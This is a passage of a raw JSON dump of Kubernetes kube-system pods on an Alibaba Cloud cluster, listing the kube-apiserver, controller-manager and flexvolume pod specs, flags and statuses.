\"cn-beijing.192.168.0.150\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:40Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:40Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:39Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:12:36Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://587d3eba0a667b7398654099f45e29fcaf3728c5f164a89e693a895c3132252c\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://1f015d12fff55c6908d3a848471c96351afda5347e9c2b3853af0f645dc834f3\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-apiserver-cn-beijing.192.168.0.150\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-apiserver-cn-beijing.192.168.0.150\",\"uid\":\"e2d1399d-4a4d-4d46-a1ed-9db5de9279eb\",\"resourceVersion\":\"35736383\",\"creationTimestamp\":\"2020-04-08T04:08:44Z\",\"labels\":{\"component\":\"kube-apiserver\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"648fd8d160a03f8f137f14d7f47fad87\",\"kubernetes.io/config.mirror\":\"648fd8d160a03f8f137f14d7f47fad87\",\"kubernetes.io/config.seen\":\"2020-04-08T12:08:43.94847775+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"k8s-audit\",\"hostPath\":{\"path\":\"/var/log/kubernetes\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"audit-policy\",\"hostPath\":{\"path\":\"/etc/kubernetes/audit-policy.yml\",\"type\":\"FileOrCreate\"}},{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-apiserver\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"command\":[\"kube-apiserver\",\"--audit-log-maxbackup=10\",\"--audit-log-maxsize=100\",\"--audit-log-path=/var/log/kubernetes/kubernetes.audit\",\"--audit-log-maxage=30\",\"--audit-policy-file=/etc/kubernetes/audit-policy.yml\",\"--apiserver-count=500\",\"--endpoint-reconciler-type=lease\",\"--enable-aggregator-routing=true\",\"--runtime-config=admissionregistration.k8s.io/v1beta1,extensions/v1beta1/daemonsets=true,extensions/v1beta1/deployments=true,extensions/v1beta1/replicasets=true,extensions/v1beta1/networkpolicies=true,extensions/v1beta1/podsecuritypolicies=true,apps/v1beta1=true,apps/v1beta2=true\",\"--advertise-address=192.168.0.150\",\"--allow-privileged=true\",\"--authorization-mode=Node,RBAC\",\"--client-ca-file=/etc/kubernetes/pki/apiserver-ca.crt\",\"--cloud-provider=external\",\"--enable-admission-plugins=NodeRestriction,PodSecurityPolicy\",\"--enable-bootstrap-token-auth=true\",\"--etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem\",\"--etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem\",\"--etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem\",\"--etcd-servers=https://192.168.0.150:2379,https://192.168.0.151:2379,https://192.168.0.152:2379\",\"--feature-gates=VolumeSnapshotDataSource=true,CSINodeInfo=true,CSIDriverRegistry=true\",\"--insecure-port=0\",\"--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\",\"--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\",\"--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\",\"--profiling=false\",\"--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\",\"--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\",\"--requestheader-allowed-names=front-proxy-client\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--requestheader-extra-headers-prefix=X-Remote-Extra-\",\"--requestheader-group-headers=X-Remote-Group\",\"--requestheader-username-headers=X-Remote-User\",\"--secure-port=6443\",\"--service-account-key-file=/etc/kubernetes/pki/sa.pub\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--service-node-port-range=30000-32767\",\"--tls-cert-file=/etc/kubernetes/pki/apiserver.crt\",\"--tls-private-key-file=/etc/kubernetes/pki/apiserver.key\"],\"env\":[{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4\",\"value\":\"/var/log/kubernetes/kubernetes.audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_tags\",\"value\":\"audit=apiserver\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_product\",\"value\":\"k8s-audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_jsonfile\",\"value\":\"true\"}],\"resources\":{\"requests\":{\"cpu\":\"250m\"}},\"volumeMounts\":[{\"name\":\"k8s-audit\",\"mountPath\":\"/var/log/kubernetes\"},{\"name\":\"audit-policy\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/audit-policy.yml\"},{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":6443,\"host\":\"192.168.0.150\",\"scheme\":\"HTTPS\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:08:52Z\",\"containerStatuses\":[{\"name\":\"kube-apiserver\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:26Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:08:45Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://e6b39e8558945aa0943c5daffca465205aa932ae574e5d236b7a73a0e7afd376\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver@sha256:fee22221e79180ebbfa2641ff66d033ef52fe887e112761a8911bf86ae345e1c\",\"containerID\":\"docker://2ba1f9a5390f9af1b61e8a0101f872a85b510f4af4b87aa9f5b2a4fca30657c0\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-apiserver-cn-beijing.192.168.0.151\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-apiserver-cn-beijing.192.168.0.151\",\"uid\":\"cc5cdba3-2cf6-404d-aaea-cf133ae90ec9\",\"resourceVersion\":\"800\",\"creationTimestamp\":\"2020-04-08T04:09:01Z\",\"labels\":{\"component\":\"kube-apiserver\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"ce808e7969c6fd3d9ec44e79813ec9c1\",\"kubernetes.io/config.mirror\":\"ce808e7969c6fd3d9ec44e79813ec9c1\",\"kubernetes.io/config.seen\":\"2020-04-08T12:08:53.764429839+08:00\",\"kubernetes.io/config.source\":\"file\",\"kubernetes.io/psp\":\"ack.privileged\"}},\"spec\":{\"volumes\":[{\"name\":\"k8s-audit\",\"hostPath\":{\"path\":\"/var/log/kubernetes\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"audit-policy\",\"hostPath\":{\"path\":\"/etc/kubernetes/audit-policy.yml\",\"type\":\"FileOrCreate\"}},{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-apiserver\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"command\":[\"kube-apiserver\",\"--audit-log-maxbackup=10\",\"--audit-log-maxsize=100\",\"--audit-log-path=/var/log/kubernetes/kubernetes.audit\",\"--audit-log-maxage=30\",\"--audit-policy-file=/etc/kubernetes/audit-policy.yml\",\"--apiserver-count=500\",\"--endpoint-reconciler-type=lease\",\"--enable-aggregator-routing=true\",\"--runtime-config=admissionregistration.k8s.io/v1beta1,extensions/v1beta1/daemonsets=true,extensions/v1beta1/deployments=true,extensions/v1beta1/replicasets=true,extensions/v1beta1/networkpolicies=true,extensions/v1beta1/podsecuritypolicies=true,apps/v1beta1=true,apps/v1beta2=true\",\"--advertise-address=192.168.0.151\",\"--allow-privileged=true\",\"--authorization-mode=Node,RBAC\",\"--client-ca-file=/etc/kubernetes/pki/apiserver-ca.crt\",\"--cloud-provider=external\",\"--enable-admission-plugins=NodeRestriction,PodSecurityPolicy\",\"--enable-bootstrap-token-auth=true\",\"--etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem\",\"--etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem\",\"--etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem\",\"--etcd-servers=https://192.168.0.150:2379,https://192.168.0.151:2379,https://192.168.0.152:2379\",\"--feature-gates=VolumeSnapshotDataSource=true,CSINodeInfo=true,CSIDriverRegistry=true\",\"--insecure-port=0\",\"--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\",\"--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\",\"--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\",\"--profiling=false\",\"--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\",\"--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\",\"--requestheader-allowed-names=front-proxy-client\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--requestheader-extra-headers-prefix=X-Remote-Extra-\",\"--requestheader-group-headers=X-Remote-Group\",\"--requestheader-username-headers=X-Remote-User\",\"--secure-port=6443\",\"--service-account-key-file=/etc/kubernetes/pki/sa.pub\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--service-node-port-range=30000-32767\",\"--tls-cert-file=/etc/kubernetes/pki/apiserver.crt\",\"--tls-private-key-file=/etc/kubernetes/pki/apiserver.key\"],\"env\":[{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4\",\"value\":\"/var/log/kubernetes/kubernetes.audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_tags\",\"value\":\"audit=apiserver\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_product\",\"value\":\"k8s-audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_jsonfile\",\"value\":\"true\"}],\"resources\":{\"requests\":{\"cpu\":\"250m\"}},\"volumeMounts\":[{\"name\":\"k8s-audit\",\"mountPath\":\"/var/log/kubernetes\"},{\"name\":\"audit-policy\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/audit-policy.yml\"},{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":6443,\"host\":\"192.168.0.151\",\"scheme\":\"HTTPS\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:02Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:02Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:02Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:02Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:09:02Z\",\"containerStatuses\":[{\"name\":\"kube-apiserver\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:08:55Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver@sha256:fee22221e79180ebbfa2641ff66d033ef52fe887e112761a8911bf86ae345e1c\",\"containerID\":\"docker://612cd2c7815ee0ca70b278051b01129007c7d2d2d5c946d6a6c3d6ca55fab92a\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-apiserver-cn-beijing.192.168.0.152\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-apiserver-cn-beijing.192.168.0.152\",\"uid\":\"e2013abd-55f9-4536-9191-2608ed515aac\",\"resourceVersion\":\"814\",\"creationTimestamp\":\"2020-04-08T04:09:02Z\",\"labels\":{\"component\":\"kube-apiserver\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"0f22d8bb971af79b9942ab7f38329446\",\"kubernetes.io/config.mirror\":\"0f22d8bb971af79b9942ab7f38329446\",\"kubernetes.io/config.seen\":\"2020-04-08T12:09:02.695463405+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"k8s-audit\",\"hostPath\":{\"path\":\"/var/log/kubernetes\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"audit-policy\",\"hostPath\":{\"path\":\"/etc/kubernetes/audit-policy.yml\",\"type\":\"FileOrCreate\"}},{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-apiserver\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"command\":[\"kube-apiserver\",\"--audit-log-maxbackup=10\",\"--audit-log-maxsize=100\",\"--audit-log-path=/var/log/kubernetes/kubernetes.audit\",\"--audit-log-maxage=30\",\"--audit-policy-file=/etc/kubernetes/audit-policy.yml\",\"--apiserver-count=500\",\"--endpoint-reconciler-type=lease\",\"--enable-aggregator-routing=true\",\"--runtime-config=admissionregistration.k8s.io/v1beta1,extensions/v1beta1/daemonsets=true,extensions/v1beta1/deployments=true,extensions/v1beta1/replicasets=true,extensions/v1beta1/networkpolicies=true,extensions/v1beta1/podsecuritypolicies=true,apps/v1beta1=true,apps/v1beta2=true\",\"--advertise-address=192.168.0.152\",\"--allow-privileged=true\",\"--authorization-mode=Node,RBAC\",\"--client-ca-file=/etc/kubernetes/pki/apiserver-ca.crt\",\"--cloud-provider=external\",\"--enable-admission-plugins=NodeRestriction,PodSecurityPolicy\",\"--enable-bootstrap-token-auth=true\",\"--etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem\",\"--etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem\",\"--etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem\",\"--etcd-servers=https://192.168.0.150:2379,https://192.168.0.151:2379,https://192.168.0.152:2379\",\"--feature-gates=VolumeSnapshotDataSource=true,CSINodeInfo=true,CSIDriverRegistry=true\",\"--insecure-port=0\",\"--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\",\"--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\",\"--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\",\"--profiling=false\",\"--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\",\"--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\",\"--requestheader-allowed-names=front-proxy-client\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--requestheader-extra-headers-prefix=X-Remote-Extra-\",\"--requestheader-group-headers=X-Remote-Group\",\"--requestheader-username-headers=X-Remote-User\",\"--secure-port=6443\",\"--service-account-key-file=/etc/kubernetes/pki/sa.pub\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--service-node-port-range=30000-32767\",\"--tls-cert-file=/etc/kubernetes/pki/apiserver.crt\",\"--tls-private-key-file=/etc/kubernetes/pki/apiserver.key\"],\"env\":[{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4\",\"value\":\"/var/log/kubernetes/kubernetes.audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_tags\",\"value\":\"audit=apiserver\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_product\",\"value\":\"k8s-audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_jsonfile\",\"value\":\"true\"}],\"resources\":{\"requests\":{\"cpu\":\"250m\"}},\"volumeMounts\":[{\"name\":\"k8s-audit\",\"mountPath\":\"/var/log/kubernetes\"},{\"name\":\"audit-policy\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/audit-policy.yml\"},{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":6443,\"host\":\"192.168.0.152\",\"scheme\":\"HTTPS\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:04Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:09:04Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:08:44Z\",\"containerStatuses\":[{\"name\":\"kube-apiserver\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:09:03Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver@sha256:fee22221e79180ebbfa2641ff66d033ef52fe887e112761a8911bf86ae345e1c\",\"containerID\":\"docker://4ab12460c914840ef86e6096faa438339096d5c0e6da88c66dd2b9ac47f76c0d\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-controller-manager-cn-beijing.192.168.0.150\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-controller-manager-cn-beijing.192.168.0.150\",\"uid\":\"901c27fa-7b97-4938-920c-91d8f588aae7\",\"resourceVersion\":\"35736324\",\"creationTimestamp\":\"2020-04-08T04:05:04Z\",\"labels\":{\"component\":\"kube-controller-manager\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.mirror\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.seen\":\"2020-04-08T12:05:04.169564569+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/controller-manager.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"command\":[\"kube-controller-manager\",\"--experimental-cluster-signing-duration=87600h0m0s\",\"--allocate-node-cidrs=true\",\"--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--bind-address=127.0.0.1\",\"--client-ca-file=/etc/kubernetes/pki/ca.crt\",\"--cloud-provider=external\",\"--cluster-cidr=172.20.0.0/16\",\"--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\",\"--cluster-signing-key-file=/etc/kubernetes/pki/ca.key\",\"--controllers=*,bootstrapsigner,tokencleaner\",\"--horizontal-pod-autoscaler-use-rest-clients=true\",\"--kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--leader-elect=true\",\"--node-cidr-mask-size=26\",\"--profiling=false\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--root-ca-file=/etc/kubernetes/pki/ca.crt\",\"--service-account-private-key-file=/etc/kubernetes/pki/sa.key\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--use-service-account-credentials=true\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/controller-manager.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:24Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-